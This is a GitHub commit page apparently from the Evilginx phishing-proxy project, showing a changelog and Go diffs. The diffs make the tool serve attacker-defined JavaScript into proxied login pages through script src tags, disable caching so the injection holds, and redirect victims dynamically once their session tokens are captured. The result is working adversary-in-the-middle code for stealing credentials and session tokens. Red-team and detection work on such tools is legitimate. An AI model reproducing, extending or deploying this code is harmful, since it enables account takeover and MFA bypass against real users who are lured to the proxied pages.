Skip to content

Commit

Permalink
removed caching, improved js injection
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Aug 18, 2023
1 parent 2f28e36 commit d6ddf55
Show file tree
Hide file tree
Showing 4 changed files with 111 additions and 38 deletions.
6 changes: 4 additions & 2 deletions CHANGELOG
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,10 @@
- Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.
- Feature: Lures can now be paused for fixed time duration with `lures pause <id>`. Useful when you want to briefy redirect your lure URL when you know sandboxes will try to scan them.
- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section.
- Feature: Added default `redirect_url` in phishlets to hold a default redirect URL, to redirect to once tokens are captured, when it is not set in used phishing lure. `redirect_url` set for the lure will override this.
- Feature: You can now override global unauthorized redirect URL per phishlet with `phishlet unauth_url <phishlet> <url>`.
- Feature: Added a new optional `redirect_url` value for phishlet config, which can hold a default redirect URL, to redirect to, once tokens are successfully captured. `redirect_url` set for the specific lure will override this value.
- Feature: You can now override globally set unauthorized redirect URL per phishlet with `phishlet unauth_url <phishlet> <url>`.
- Fixed: Disabled caching for HTML and Javascript content to make on-the-fly proxied content replacements and injections more reliable.
- Fixed: Improved JS injection by adding `<script src"...">` references into HTML pages, instead of dumping the whole script there.
- Fixed: Changed `redirect_url` to `unauth_url` in global config to avoid confusion.
- Fixed: Fixed HTTP status code response for Javascript redirects.
- Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content.
Expand Down
115 changes: 83 additions & 32 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -185,41 +185,84 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
//req_path += "?" + req.URL.RawQuery
}

//log.Debug("http: %s", req_url)

pl := p.getPhishletByPhishHost(req.Host)
parts := strings.SplitN(req.RemoteAddr, ":", 2)
remote_addr := parts[0]

redir_re := regexp.MustCompile("^\\/s\\/([^\\/]*)")
if redir_re.MatchString(req.URL.Path) {
js_inject_re := regexp.MustCompile("^\\/s\\/([^\\/]*)\\/([^\\/]*)")

if js_inject_re.MatchString(req.URL.Path) {
ra := js_inject_re.FindStringSubmatch(req.URL.Path)
if len(ra) >= 3 {
session_id := ra[1]
js_id := ra[2]
if strings.HasSuffix(js_id, ".js") {
js_id = js_id[:len(js_id)-3]
if s, ok := p.sessions[session_id]; ok {
var d_body string
var js_params *map[string]string = nil
js_params = &s.Params

script, err := pl.GetScriptInjectById(js_id, js_params)
if err == nil {
d_body += script + "\n\n"
} else {
log.Warning("js_inject: script not found: '%s'", js_id)
}
resp := goproxy.NewResponse(req, "application/javascript", 200, string(d_body))
return req, resp
} else {
log.Warning("js_inject: session not found: '%s'", session_id)
}
}
}
} else if redir_re.MatchString(req.URL.Path) {
ra := redir_re.FindStringSubmatch(req.URL.Path)
if len(ra) >= 2 {
session_id := ra[1]
if _, ok := p.sessions[session_id]; ok {
redirect_url, ok := p.waitForRedirectUrl(session_id)
if ok {
type ResponseRedirectUrl struct {
RedirectUrl string `json:"redirect_url"`
}
d_json, err := json.Marshal(&ResponseRedirectUrl{RedirectUrl: redirect_url})
if err == nil {
s_index, _ := p.sids[session_id]
log.Important("[%d] dynamic redirect to URL: %s", s_index, redirect_url)
resp := goproxy.NewResponse(req, "application/json", 200, string(d_json))
return req, resp
if strings.HasSuffix(session_id, ".js") {
// respond with injected javascript
session_id = session_id[:len(session_id)-3]
if s, ok := p.sessions[session_id]; ok {
var d_body string

if s.RedirectURL != "" {
dynamic_redirect_js := DYNAMIC_REDIRECT_JS
dynamic_redirect_js = strings.ReplaceAll(dynamic_redirect_js, "{session_id}", s.Id)
d_body += dynamic_redirect_js + "\n\n"
}
resp := goproxy.NewResponse(req, "application/javascript", 200, string(d_body))
return req, resp
} else {
log.Warning("js: session not found: '%s'", session_id)
}
resp := goproxy.NewResponse(req, "application/json", 408, "")
return req, resp
} else {
log.Warning("api: session not found: '%s'", session_id)
if _, ok := p.sessions[session_id]; ok {
redirect_url, ok := p.waitForRedirectUrl(session_id)
if ok {
type ResponseRedirectUrl struct {
RedirectUrl string `json:"redirect_url"`
}
d_json, err := json.Marshal(&ResponseRedirectUrl{RedirectUrl: redirect_url})
if err == nil {
s_index, _ := p.sids[session_id]
log.Important("[%d] dynamic redirect to URL: %s", s_index, redirect_url)
resp := goproxy.NewResponse(req, "application/json", 200, string(d_json))
return req, resp
}
}
resp := goproxy.NewResponse(req, "application/json", 408, "")
return req, resp
} else {
log.Warning("api: session not found: '%s'", session_id)
}
}
}
}

phishDomain, phished := p.getPhishDomain(req.Host)
if phished {
pl := p.getPhishletByPhishHost(req.Host)
pl_name := ""
if pl != nil {
pl_name = pl.Name
Expand Down Expand Up @@ -526,6 +569,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

// prevent caching
req.Header.Set("Cache-Control", "no-cache")

// fix sec-fetch-dest
sec_fetch_dest := req.Header.Get("Sec-Fetch-Dest")
if sec_fetch_dest != "" {
Expand Down Expand Up @@ -1005,23 +1051,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

var js_params *map[string]string = nil
if s, ok := p.sessions[ps.SessionId]; ok {
/*
if s.PhishLure != nil {
js_params = &s.PhishLure.Params
}*/
js_params = &s.Params
}
//log.Debug("js_inject: hostname:%s path:%s", req_hostname, resp.Request.URL.Path)
script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
js_id, _, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
if err == nil {
body = p.injectJavascriptIntoBody(body, script)
body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s/%s.js", s.Id, js_id))
}

if s.RedirectURL != "" {
dynamic_redirect_js := DYNAMIC_REDIRECT_JS
dynamic_redirect_js = strings.ReplaceAll(dynamic_redirect_js, "{session_id}", s.Id)
body = p.injectJavascriptIntoBody(body, dynamic_redirect_js)
}
log.Debug("js_inject: injected redirect script for session: %s", s.Id)
body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s.js", s.Id))
}
}
}
Expand Down Expand Up @@ -1055,6 +1094,10 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

if stringExists(mime, []string{"text/html", "application/javascript", "text/javascript", "application/json"}) {
resp.Header.Set("Cache-Control", "no-cache, no-store")
}

if pl != nil && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
if ok && s.IsDone {
Expand Down Expand Up @@ -1150,15 +1193,23 @@ func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Re
return req, nil
}

func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string) []byte {
func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string, src_url string) []byte {
js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
m_nonce := js_nonce_re.FindStringSubmatch(string(body))
js_nonce := ""
if m_nonce != nil {
js_nonce = " nonce=\"" + m_nonce[1] + "\""
}
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
ret := []byte(re.ReplaceAllString(string(body), "<script"+js_nonce+">"+script+"</script>${1}"))
var d_inject string
if script != "" {
d_inject = "<script" + js_nonce + ">" + script + "</script>\n${1}"
} else if src_url != "" {
d_inject = "<script" + js_nonce + " type=\"application/javascript\" src=\"" + src_url + "\"></script>\n${1}"
} else {
return body
}
ret := []byte(re.ReplaceAllString(string(body), d_inject))
return ret
}

Expand Down
25 changes: 22 additions & 3 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -90,6 +90,7 @@ type LoginUrl struct {
}

type JsInject struct {
id string `mapstructure:"id"`
trigger_domains []string `mapstructure:"trigger_domains"`
trigger_paths []*regexp.Regexp `mapstructure:"trigger_paths"`
trigger_params []string `mapstructure:"trigger_params"`
Expand Down Expand Up @@ -794,7 +795,7 @@ func (p *Phishlet) GetLoginUrl() string {
return "https://" + p.login.domain + p.login.path
}

func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error) {
func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, string, error) {
for _, js := range p.js_inject {
host_matched := false
for _, h := range js.trigger_domains {
Expand Down Expand Up @@ -834,11 +835,27 @@ func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[str
script = strings.Replace(script, "{"+k+"}", v, -1)
}
}
return script, nil
return js.id, script, nil
}
}
}
}
return "", "", fmt.Errorf("script not found")
}

func (p *Phishlet) GetScriptInjectById(id string, params *map[string]string) (string, error) {
for _, js := range p.js_inject {
if js.id == id {
script := js.script
if params != nil {
for k, v := range *params {
script = strings.Replace(script, "{"+k+"}", v, -1)
}
}

return script, nil
}
}
return "", fmt.Errorf("script not found")
}

Expand Down Expand Up @@ -954,7 +971,9 @@ func (p *Phishlet) addHttpAuthToken(hostname string, path string, name string, h
}

func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
js := JsInject{}
js := JsInject{
id: GenRandomToken(),
}
for _, d := range trigger_domains {
js.trigger_domains = append(js.trigger_domains, strings.ToLower(d))
}
Expand Down
3 changes: 2 additions & 1 deletion core/scripts.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,8 @@ function getRedirect(sid) {
method: "GET",
headers: {
"Content-Type": "application/json"
}
},
credentials: "include"
})
.then((response) => {
Expand Down

0 comments on commit d6ddf55

Please sign in to comment.